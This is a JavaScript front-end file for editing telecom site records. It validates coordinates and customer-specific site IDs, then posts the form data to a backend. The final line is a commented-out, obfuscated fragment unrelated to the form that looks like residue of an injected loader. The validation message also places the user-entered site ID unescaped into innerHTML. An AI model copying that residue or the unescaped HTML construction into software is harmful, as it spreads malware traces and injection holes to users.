$(document).ready(function () {
    $("#editbtn").click(function () {
        $("#msgPanel").html("");//make empty error/ success message after re-edite
     /*   var value = $('#updateSiteForm .form-cntrl').attr('disabled');
        if (value) {
            $('#updateSiteForm .form-cntrl').removeAttr('disabled');
        } else {
            $('#updateSiteForm .form-cntrl').attr('disabled', 'disabled');
        }*/
		$("#updateSiteForm .form-cntrl").removeAttr('disabled');// for all fields removing disabled attr
        $('#siteId').attr('disabled', 'disabled');//will not update
        $(this).hide();
        $('#updatebtn').show();
    });
});

//---------------------javasrcipt------------------------


function msgPanel(alertType, msg) {

    return `<p class="text-${alertType}"><b>${msg}</b></p>`;

}


function validateForm(formdata) {
let dropDownArray = getCustomerDropDownList();
    let Indus_regex = /^IN-[0-9]{7}$/;// site id validation olny for indus site id.
    let space_regex = /^[^\s]+$/; // this regex expression is for finding the space between the siteId.
    const latLongPattern = /^[-+]?([1-8]?\d(\.\d+)?|90(\.0+)?),\s*[-+]?(180(\.0+)?|((1[0-7]\d)|([1-9]?\d))(\.\d+)?)$/;
    let feedbackMsg = "";

    if (!latLongPattern.test(formdata.latitude + ", " + formdata.longitude))
        feedbackMsg += "latitude or longitude is not valid.";
        
let siteId=formdata.siteId;//trim the extra characters eg: '=>apostrophe
            
            switch(formdata.customerName){
                case dropDownArray[0]: // at index 0 'Indus' customer
                        if(!Indus_regex.test(siteId)){ 
                            feedbackMsg += "<br># '"+siteId+"' Invalid Indus siteId follow 'IN-' by 7 digits with out space. EX:- 'IN-1234567'.";
                        }
                    break;
                case dropDownArray[1]: // at index 1 'ATC' customer
                case dropDownArray[2]: // at index 2 "Airtel" customer
                case dropDownArray[6]: // at index 6 'jio' customer
                        if(!space_regex.test(siteId)){
                            feedbackMsg += "<br># Site Id should not contain space.";
                        }
                        
            }
            
    return feedbackMsg;
}


const addSiteURL =
    ADD_SITE_BASE_URL+"updateSiteWeb";

const addSiteForm = document.getElementById("updateSiteForm");
const panel = document.getElementById("msgPanel");
const editbutton = document.getElementById("editbtn");
const updatebutton = document.getElementById("updatebtn");
addSiteForm.addEventListener("submit", function (event) {
    event.preventDefault();
        var spinnerClassIcon=document.getElementById("updateSiteSpinner");
        spinnerClassIcon.classList.remove("d-none");


    var formdata = {
        siteId: addSiteForm.siteId.value.trim(),
        siteName: addSiteForm.siteName.value.trim(),
        latitude: addSiteForm.latitude.value.trim(),
        longitude: addSiteForm.longitude.value.trim(),
        circle: addSiteForm.circle.value.trim(),
        district: addSiteForm.district.value.trim(),
//        project: addSiteForm.project.value,
        customerName: addSiteForm.customerName.value.trim()
    };
     formdata = JSON.parse(JSON.stringify(formdata).replace(/"\s+|\s+"/g, '"'));
    const feedbackMsg = validateForm(formdata);
    if (feedbackMsg === "") {
        postData(addSiteURL, formdata).then(data => {
            if (data.error) {
                panel.innerHTML = msgPanel("danger", data.message);

            } else {
                updatebutton.style.display = "none";
                editbutton.style.display = "inline-block";
                $("#updateSiteForm .form-cntrl").prop('disabled',true);
                panel.innerHTML = msgPanel("success", data.message);
            }


            spinnerClassIcon.classList.add("d-none");
        });
    } else {
         panel.innerHTML = msgPanel("danger",feedbackMsg);
         spinnerClassIcon.classList.add("d-none");
    }
});
//return Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};;;